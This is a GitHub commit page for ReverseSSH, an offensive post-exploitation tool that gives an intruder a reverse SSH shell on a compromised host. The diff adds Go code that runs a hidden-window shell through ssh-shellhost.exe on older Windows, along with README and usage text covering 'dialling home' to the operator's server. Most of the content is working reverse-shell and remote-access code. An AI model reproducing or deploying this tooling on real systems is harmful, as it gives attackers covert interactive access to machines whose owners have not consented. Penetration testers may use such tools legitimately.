Skip to content

Commit

Permalink
Improve interactive shell for pre-conpty windows versions
Browse files Browse the repository at this point in the history
Utilizing the -s flag one can specify the path to the external
executable `ssh-shellhost.exe` from Openssh for Windows, which greatly
enhances the interactive experience.
  • Loading branch information
Fahrj committed Jul 15, 2021
1 parent 3dd74cd commit a7a5db1
Show file tree
Hide file tree
Showing 3 changed files with 62 additions and 32 deletions.
14 changes: 12 additions & 2 deletions Readme.md
Original file line number Diff line number Diff line change
Expand Up @@ -19,11 +19,19 @@ Instead you can go the way to simply deploy a **lightweight ssh server** (<1.5MB
ReverseSSH tries to bridge the gap between initial foothold on a target and full local privilege escalation.
Its main strengths are the following:

* **Fully interactive shell access** (A fully interactive powershell on windows relies on the [Windows Pseudo Console ConPTY](https://devblogs.microsoft.com/commandline/windows-command-line-introducing-the-windows-pseudo-console-conpty/) and thus requires at least `Win10 Build 17763`. Before that, it still works, but you only get a somewhat interactive, generic reverse shell.)
* **Fully interactive shell access** (check windows caveats below)
* **File transfer via sftp**
* **Local / remote / dynamic port forwarding**
* Supports **Unix** and **Windows** operating systems

**Windows caveats**

A fully interactive powershell on windows relies on [Windows Pseudo Console ConPTY](https://devblogs.microsoft.com/commandline/windows-command-line-introducing-the-windows-pseudo-console-conpty/) and thus requires at least `Win10 Build 17763`.
On earlier versions it still works, but you only get a somewhat interactive, generic reverse shell.

You can still improve it for older windows versions by dropping [`ssh-shellhost.exe` from OpenSSH for Windows](https://github.com/PowerShell/Win32-OpenSSH/releases/latest) in the same directory as `reverse-ssh` and then use flag `-s ssh-shellhost.exe`.
This will pipe all traffic through `ssh-shellhost.exe`, which mimics a pty and transforms all virtual terminal codes such that windows can understand.


## Requirements

Expand Down Expand Up @@ -56,7 +64,9 @@ Examples:
reverse-ssh -v -b 0 [email protected]

Options:
-s, Shell to use for incoming connections, e.g. /bin/bash; no effect for windows (default: /bin/bash)
-s, Shell to use for incoming connections, e.g. /bin/bash; (default: /bin/bash)
for windows this can only be used to give a path to 'ssh-shellhost.exe' to
enhance pre-Windows10 shells (e.g. '-s ssh-shellhost.exe' if in same directory)
-l, Bind scenario only: listen at this address:port (default: :31337)
-p, Reverse scenario only: ssh port at home (default: 22)
-b, Reverse scenario only: bind to this port after dialling home (default: 8888)
Expand Down
4 changes: 3 additions & 1 deletion main.go
Original file line number Diff line number Diff line change
Expand Up @@ -55,7 +55,9 @@ Examples:
%[1]s -v -b 0 [email protected]
Options:
-s, Shell to use for incoming connections, e.g. /bin/bash; no effect for windows (default: %[5]s)
-s, Shell to use for incoming connections, e.g. /bin/bash; (default: %[5]s)
for windows this can only be used to give a path to 'ssh-shellhost.exe' to
enhance pre-Windows10 shells (e.g. '-s ssh-shellhost.exe' if in same directory)
-l, Bind scenario only: listen at this address:port (default: :31337)
-p, Reverse scenario only: ssh port at home (default: 22)
-b, Reverse scenario only: bind to this port after dialling home (default: 8888)
Expand Down
76 changes: 47 additions & 29 deletions ssh_session_windows.go
Original file line number Diff line number Diff line change
Expand Up @@ -43,39 +43,57 @@ func makeSSHSessionHandler(shell string) ssh.Handler {

log.Println("Windows version too old to support ConPTY shell")

cmd := exec.Command("cmd")
cmd.Stdout = s
cmd.Stderr = s
stdin, err := cmd.StdinPipe()
if err != nil {
log.Println("Could not create StdInPipe:", err)
s.Exit(1)
return
}
var cmd *exec.Cmd
if shell == defaultShell {
log.Println("Launching primitive cmd hook")

cmd = exec.Command("cmd")
cmd.Stdout = s
cmd.Stderr = s
stdin, err := cmd.StdinPipe()
if err != nil {
log.Println("Could not create StdInPipe:", err)
s.Exit(1)
return
}

// Handle input from client
go func() {
for {
// Echo incoming chars back to client
echo := io.TeeReader(s, s)

// Read until next unix line ending (\n)
data, err := bufio.NewReader(echo).ReadBytes(byte(13))
if err == io.EOF {
log.Println("Connection closed by client")
return
} else if err != nil {
log.Println("Error while reading from client:", err)
// Handle input from client
go func() {
for {
// Echo incoming chars back to client
echo := io.TeeReader(s, s)

// Read until next unix line ending (\n)
data, err := bufio.NewReader(echo).ReadBytes(byte(13))
if err == io.EOF {
log.Println("Connection closed by client")
return
} else if err != nil {
log.Println("Error while reading from client:", err)
}
if len(data) > 0 {
// Send linebreak to client for readability
s.Write([]byte("\n"))

// Write data to stdin of cmd with appended windows line endings
stdin.Write(append(data[:len(data)-1], "\r\n"...))
}
}
if len(data) > 0 {
// Send linebreak to client for readability
s.Write([]byte("\n"))
}()
} else {
log.Println("Launching shell with ssh-shellhost.exe")

// Write data to stdin of cmd with appended windows line endings
stdin.Write(append(data[:len(data)-1], "\r\n"...))
}
cmd = exec.Command(shell)
cmd.SysProcAttr = &syscall.SysProcAttr{
HideWindow: true,
CmdLine: " " + "---pty cmd", // Must leave a space to the beginning
CreationFlags: 0x08000000,
}
}()
cmd.Stdout = s
cmd.Stderr = s
cmd.Stdin = s

}

if err := cmd.Run(); err != nil {
log.Println("Session ended with error:", err)
Expand Down

0 comments on commit a7a5db1

Please sign in to comment.